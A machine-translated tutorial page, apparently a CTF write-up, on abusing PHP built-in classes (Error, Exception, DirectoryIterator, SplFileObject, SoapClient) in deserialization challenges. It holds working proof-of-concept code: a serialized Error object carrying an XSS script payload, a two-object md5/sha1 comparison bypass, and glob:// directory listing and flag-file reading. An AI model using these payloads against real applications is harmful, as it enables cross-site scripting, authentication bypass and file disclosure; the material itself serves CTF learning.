Rumah > pembangunan bahagian belakang > tutorial php > Perkongsian ringkasan kelas asli PHP

Perkongsian ringkasan kelas asli PHP

WBOY
Lepaskan: 2023-04-11 09:56:01
ke hadapan
3747 orang telah melayarinya

Artikel ini membawakan anda pengetahuan yang berkaitan tentang PHP, yang terutamanya memperkenalkan kandungan yang berkaitan tentang kelas asli Mari kita lihat bersama-sama saya harap ia dapat membantu semua orang.

Perkongsian ringkasan kelas asli PHP

Kali ini HEctf ialah soalan asli dengan hanya tiga baris kod. Sudah tentu, lebih pendek kod, lebih sukar dalam ctf.

Mula-mula siarkan skrip yang merentasi kelas terbina dalam php

 <?php $classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }
    
}
Salin selepas log masuk

Hasilnya:

Perkongsian ringkasan kelas asli PHP

Untuk menyelesaikannya:

Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
 ArithmeticError
DivisionByZeroError
ClosedGeneratorException
DateTime
DateTimeZone
DatePeriod
DirectoryIterator
wakeup JsonException
wakeup LogicException
BadFunctionCallException
InvalidArgumentException
 OutOfRangeException
RuntimeException
OverflowException
RangeException
UnderflowException
GlobIterator
SplFixedArray
ReflectionException
ReflectionFunctionAbstract
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionClassConstant
ReflectionZendExtension
AssertionError
DOMException
PDOException
SimpleXMLElement
mysqli_sql_exception
PharException
PharData
PharFileInfo
Salin selepas log masuk

Mungkin ini adalah kategori, tetapi kategori berikut sering digunakan dalam pertandingan ctf

  • Ralat
  • Pengecualian
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

Ralat/Exception terbina dalam kelas untuk XSS

ralat xss

Kaedah __toString Mengembalikan bentuk rentetan ralat atau pengecualian, yang mengandungi parameter yang kami masukkan Jika kami membina rentetan kod xss dan menggabungkannya dengan pemaparan gema, kerentanan xss yang dicerminkan akan dicetuskan

demo:

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;
Salin selepas log masuk
poc

<?php $a = new Error("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);
Salin selepas log masuk
mengeluarkan rentetan rentetan

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码
Salin selepas log masuk
pop timbul kejayaan

Perkongsian ringkasan kelas asli PHP

exception xss

Pengecualian ialah kelas asas untuk semua pengecualian peringkat pengguna. (PHP 5, 7, 8) Struktur pop

<?php $a = new Exception("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);
?>
Salin selepas log masuk
dan ralat nampaknya sama (pengecualian terpakai untuk php5 dan 7, ralat hanya terpakai untuk php7), cuma gantikan ralat dengan pengecualian . Tetingkap pop timbul masih berjaya

Perkongsian ringkasan kelas asli PHP

Ralat/Pengecualian Kelas terbina dalam memintas perbandingan cincang

Dengan membina dua kelas ini, anda boleh memintas md5() dan fungsi sha1 (). Kedua-dua ralat dan pengecualian mempunyai kaedah penting: _tostring, yang digunakan untuk menukar objek pengecualian kepada rentetan.

Begitu juga, apabila fungsi md5() dan sha1() memproses objek, kaedah __tostring akan dipanggil secara automatik

<?php $a = new Error("payload",1);$b=new Error("payload",2);
echo $a."<br>";
echo $b."<br>";
Salin selepas log masuk
Hasil output

boleh dilihat, parameter selepas muatan tidak menjejaskan keputusan output. Melalui ini fungsi hash boleh dipintas. Perkongsian ringkasan kelas asli PHP

<?php $a=new Error("payload",1);$b=new Error("payload",2);
if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n
";}
if (md5($a)===md5($b)) {
    echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
    echo "sha1值相等\n";
}
Salin selepas log masuk

Perkongsian ringkasan kelas asli PHP

soapclien

Definisi sabun

Simple Object Access Protocol makna

Sebab mengapa ia berkata di sini adalah Mudah kerana ia berdasarkan dua protokol yang telah digunakan secara meluas: HTTP dan XML, jadi industri ini memanggil teknologi ini "ia adalah teknologi pertama yang tidak mencipta sebarang teknologi baru". Perkhidmatan Web yang diakses dipanggil objek Memandangkan perkhidmatan adalah objek, perkhidmatan mesti mempunyai atribut yang berkaitan dan tingkah laku panggilan ini diterangkan melalui WSDL. Jika anda memahaminya dari segi "Protokol Akses Objek Mudah", ia lebih mudah daripada "Protokol Akses Objek Mudah"

kelas terbina dalam PHP SoapClient ialah kelas yang digunakan khusus untuk mengakses perkhidmatan web dan boleh menyediakan SOAP Protokol berasaskan untuk pelanggan PHP untuk mengakses perkhidmatan web.

Pembina kelas ini adalah seperti berikut:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
Salin selepas log masuk
    Parameter pertama digunakan untuk menunjukkan sama ada ia adalah mod wsdl Menetapkan nilai kepada null menunjukkan mod bukan wsdl .
  • Parameter kedua ialah tatasusunan Jika dalam mod wsdl, parameter ini adalah pilihan jika dalam mod bukan wsdl, pilihan lokasi dan uri mesti ditetapkan, di mana lokasi adalah SOAP yang diminta. dihantar URL pelayan, dan uri ialah ruang nama sasaran perkhidmatan SOAP.
kelas operasi fail asli php

Lintasan direktori

DirectoryIterator

__toString Dapatkan nama fail dalam bentuk rentetan (PHP 5, 7, 8)

Contohnya:

<?php $a = new DirectoryIterator("/");
foreach($a as $b){
    echo($b.&#39;</br>');
}
echo $a;
Salin selepas log masuk

Perkongsian ringkasan kelas asli PHPOutput fail yang diisih dalam yang ditentukan direktori Nama fail pertama

menggunakan kaedah __toString kelas terbina dalam ini digabungkan dengan glob atau protokol fail untuk mencapai traversal direktori

<?php $a = new DirectoryIterator("glob://*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}
Salin selepas log masuk

Perkongsian ringkasan kelas asli PHP

Gunakan foreach untuk melintasi semua fail

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}
Salin selepas log masuk

Perkongsian ringkasan kelas asli PHP

Satu lagi garis miring, direktori ke hadapan.

Kelas FilesystemIterator

Kelas FilesystemIterator adalah sama dengan kelas DirectoryIterator dan menyediakan antara muka mudah untuk melihat kandungan direktori sistem fail. Pembina kelas ini akan mencipta iterator bagi direktori yang ditentukan.

Kaedah penggunaan kelas ini pada asasnya sama dengan kelas DirectoryIterator:

<?php $a = new FilesystemIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}
Salin selepas log masuk

Perkongsian ringkasan kelas asli PHP

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
echo $a;
Salin selepas log masuk

Perkongsian ringkasan kelas asli PHP输出多行

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
foreach($a as $f){
    echo($f);
}
Salin selepas log masuk

Perkongsian ringkasan kelas asli PHP

推荐学习:《PHP视频教程

Atas ialah kandungan terperinci Perkongsian ringkasan kelas asli PHP. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
php
sumber:juejin.im
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan